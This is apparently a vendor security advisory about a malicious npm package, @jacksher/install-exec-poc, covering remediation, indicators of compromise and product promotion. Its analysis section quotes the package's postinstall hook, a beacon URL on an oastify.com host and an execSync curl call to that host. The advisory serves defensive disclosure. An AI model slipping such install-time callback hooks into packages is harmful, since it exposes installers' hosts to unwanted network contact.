Which versions of @jacksher/install-exec-poc are malicious?

The following npm versions of @jacksher/install-exec-poc are flagged malicious: 1.0.0, 1.0.2. Treat any of these as compromised.

How do I remediate @jacksher/install-exec-poc if I installed it?

@jacksher/install-exec-poc establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed @jacksher/install-exec-poc — how do I know if it already compromised me?

If @jacksher/install-exec-poc was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @jacksher/install-exec-poc part of a known attack campaign?

Yes — @jacksher/install-exec-poc is associated with the IN-MAL-2026-017705, IN-MAL-2026-017706 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @jacksher/install-exec-poc across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @jacksher/install-exec-poc (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @jacksher/install-exec-poc across your stack and pipelines.

Malicious package

@jacksher/install-exec-pocnpm

@jacksher/install-exec-poc is a confirmed malicious npm package (MAL-2026-13972) that opens a backdoor for remote access (malicious versions 1.0.0, 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @jacksher/install-exec-poc (npm)

MAL-2026-13972

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @jacksher/install-exec-poc

What this malware does

package.json declares postinstall: node beacon.js. On every npm install, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired, and child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'}) against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of execSync to shell out to curl at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (install-exec-poc) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

Malicious versions

2 flagged

1.0.01.0.2

Indicators of compromise (SHA-256)

d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423

f68ecfc27a1195ccbd2e11a25ccc31380f36dfd4251ae145d8ab3b3c10c7189f

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @jacksher/install-exec-poc (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @jacksher/install-exec-poc across your stack and pipelines.
If you installed it — respond
@jacksher/install-exec-poc establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @jacksher/install-exec-poc was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @jacksher/install-exec-poc before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @jacksher/install-exec-poc on npm has been identified as a malicious package (versions 1.0.0, 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017705IN-MAL-2026-017706

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @jacksher/install-exec-poc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

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